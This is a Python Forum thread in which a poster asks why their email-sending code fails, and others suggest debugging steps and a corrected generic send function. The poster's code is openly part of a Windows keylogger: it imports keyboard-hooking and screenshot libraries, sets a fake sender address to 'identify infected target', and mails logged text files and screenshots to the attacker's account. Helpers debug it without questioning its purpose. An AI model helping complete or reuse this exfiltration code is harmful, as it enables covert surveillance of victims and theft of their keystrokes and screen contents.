Python Forum
sending email - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: sending email (/thread-3981.html)



sending email - rwahdan - Jul-13-2017

I am trying to send email but it is not working.

from kivy.app import App

from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib

# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = True # set to True to send emails
LOG_MAIL = "[email protected]"     # account email address (must exist)
LOG_PASS = ";)" # email's password (must exist)
LOG_FROM = "[email protected]" # email will be sent from this address (fake) - useful to identify infected target =)
LOG_SUBJ = "logsheetAhmad"                # email subject
LOG_MSG = "Hi there" # email content - the body

# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
server = smtplib.SMTP("smtp.gmail.com:587")
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list  
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)

server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()  
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())  
server.quit()
Thanks


RE: sending email - Larz60+ - Jul-13-2017

Quote:but it is not working
Useful details please


RE: sending email - rwahdan - Jul-13-2017

(Jul-13-2017, 04:07 PM)Larz60+ Wrote:
Quote: but it is not working
Useful details please

No error and I don't get any emails

There are no errors and I don't get emails. Do I have to run the code in SERVER level?


RE: sending email - nilamo - Jul-13-2017

I've edited your post to remove your email address and password (because... lol?). It's still hard to read format-sensitive code without formatting, so it'd be appreciated if you posted your code with proper indentation.

What does server.sendmail() return? The docs say it should return a dict with status codes for each address that refused the email.


RE: sending email - rwahdan - Jul-14-2017

Hi,

I am actually new to python and programming...now i get to debug and i got the following error:

Error:
Traceback (most recent call last):   File "C:\Python27\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", line 326, in RunScript     exec codeObject in __main__.__dict__   File "C:\Users\rwahdan\Desktop\Keylogger\main.py", line 164, in <module>     server = smtplib.SMTP('smtp.gmail.com',465)   File "C:\Python27\lib\smtplib.py", line 256, in __init__     (code, msg) = self.connect(host, port)   File "C:\Python27\lib\smtplib.py", line 317, in connect     (code, msg) = self.getreply()   File "C:\Python27\lib\smtplib.py", line 368, in getreply     raise SMTPServerDisconnected("Connection unexpectedly closed") SMTPServerDisconnected: Connection unexpectedly closed
thanks


RE: sending email - rwahdan - Jul-14-2017

(Jul-13-2017, 05:24 PM)nilamo Wrote: I've edited your post to remove your email address and password (because... lol?).  It's still hard to read format-sensitive code without formatting, so it'd be appreciated if you posted your code with proper indentation.

What does server.sendmail() return?  The docs say it should return a dict with status codes for each address that refused the email.

def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG

server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG)  
server.quit()
Thanks


RE: sending email - nilamo - Jul-14-2017

(Jul-14-2017, 06:03 AM)rwahdan Wrote: server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG)
Change that line to this:
print(server.sendmail(LOG_FROM, LOG_MAIL,LOG_SUBJ,LOG_MSG))
What does it return?


RE: sending email - snippsat - Jul-14-2017

Don't post code without indentation.
You never call function sendEmail() or give arguments to function.
Stuff shall not go from global namespace into a function,that why i mention arguments.
Tested work for me.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(from_addr, to_addr,subject, message):
   msg = MIMEMultipart()
   msg['From'] = from_addr
   msg['To'] = to_addr
   # Message of email
   msg['Subject'] = subject
   body = message
   msg.attach(MIMEText(body, 'plain'))
   # Server
   server = smtplib.SMTP('smtp.gmail.com', 587)
   server.starttls()
   server.login('[email protected]', 'password')
   text = msg.as_string()
   server.sendmail(fromaddr, toaddr, text)
   server.quit()

if __name__ == '__main__':
   from_addr = "[email protected]"
   to_addr = "[email protected]"
   subject = 'Alien'
   message = 'Alien from mars attacks'
   # Call function
   send_email(from_addr, to_addr, subject, message)